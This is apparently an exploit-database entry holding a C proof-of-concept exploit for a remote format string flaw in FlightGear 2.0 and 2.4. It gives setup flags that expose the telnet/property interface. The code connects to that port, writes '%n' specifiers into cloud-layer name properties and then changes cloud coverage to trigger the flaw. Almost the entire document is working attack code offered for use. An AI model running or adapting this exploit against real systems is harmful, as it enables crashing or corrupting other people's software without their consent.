Flightgear 2.0/2.4 - Remote Format String

/* 
# Exploit Title: Flightgear remote format string
# Date: 21/04/2013
# Exploit Author: Kurono
# email: andresgomezram7@gmail.com
# Vendor Homepage: http://www.flightgear.org/
# Software Link: http://www.flightgear.org/download/
# Version: Tested on versions 2.0, 2.4.
# Tested on: Windows (Linux user assisted)
# CVE : None

    Flightgear allows remote control through Property tree.
    It is vulnerable to remote format string vulnerability 
    when some special parameters related with clouds are changed.
    To test this exploit, run Flightgear with remote input, for example:

    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch

    or

    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch    

    gcc -O2 -g -pedantic -Wall poc.c -o poc
    USAGE: ./poc [hostname [port]] 

    More information: http://kuronosec.blogspot.com/
*/

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <string.h>


#define DFLTHOST	"127.0.0.1"
#define DFLTPORT	5501
#define MAXMSG		256
#define fgfsclose	close


void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);
int fgfswrite(int sock, char *msg, ...);
const char *fgfsread(int sock, int wait);
void fgfsflush(int sock);



int fgfswrite(int sock, char *msg, ...)
{
	va_list va;
	ssize_t len;
	char buf[MAXMSG];

	va_start(va, msg);
	vsnprintf(buf, MAXMSG - 2, msg, va);
	va_end(va);
	printf("SEND: \t<%s>\n", buf);
	strcat(buf, "\015\012");

	len = write(sock, buf, strlen(buf));
	if (len < 0) {
		perror("fgfswrite");
		exit(EXIT_FAILURE);
	}
	return len;
}



const char *fgfsread(int sock, int timeout)
{
	static char buf[MAXMSG];
	char *p;
	fd_set ready;
	struct timeval tv;
	ssize_t len;

	FD_ZERO(&ready);
	FD_SET(sock, &ready);
	tv.tv_sec = timeout;
	tv.tv_usec = 0;
	if (!select(32, &ready, 0, 0, &tv))
		return NULL;

	len = read(sock, buf, MAXMSG - 1);
	if (len < 0) {
		perror("fgfsread");
		exit(EXIT_FAILURE);
	} 
	if (len == 0)
		return NULL;

	for (p = &buf[len - 1]; p >= buf; p--)
		if (*p != '\015' && *p != '\012')
			break;
	*++p = '\0';
	return strlen(buf) ? buf : NULL;
}



void fgfsflush(int sock)
{
	const char *p;
	while ((p = fgfsread(sock, 0)) != NULL) {
		printf("IGNORE: \t<%s>\n", p);
	}
}



int fgfsconnect(const char *hostname, const int port)
{
	struct sockaddr_in serv_addr;
	struct hostent *hostinfo;
	int sock;

	sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sock < 0) {
		perror("fgfsconnect/socket");
		return -1;
	}

	hostinfo = gethostbyname(hostname);
	if (hostinfo == NULL) {
		fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);
		close(sock);
		return -2;
	}

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(port);
	serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
		perror("fgfsconnect/connect");
		close(sock);
		return -3;
	}
	return sock;
}



int main(int argc, char **argv)
{
	int sock;
	unsigned port;
	const char *hostname, *p;
        int i;

	hostname = argc > 1 ? argv[1] : DFLTHOST;
	port = argc > 2 ? atoi(argv[2]) : DFLTPORT;

	sock = fgfsconnect(hostname, port);
	if (sock < 0)
		return EXIT_FAILURE;

	fgfswrite(sock, "data");
        fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");
        fgfswrite(sock, "set /environment/clouds");

        for (i=0; i < 5; i++) {
		fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);
		fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);
		fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);
		fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);
		fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);
        }
	
	p = fgfsread(sock, 3);
	if (p != NULL)
		printf("READ: \t<%s>\n", p);


        for (i=0; i < 5; i++) {
		fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);
		fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);
		fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);
        }

        p = fgfsread(sock, 3);
	if (p != NULL)
		printf("READ: \t<%s>\n", p);

	fgfswrite(sock, "quit");
	fgfsclose(sock);
	return EXIT_SUCCESS;
}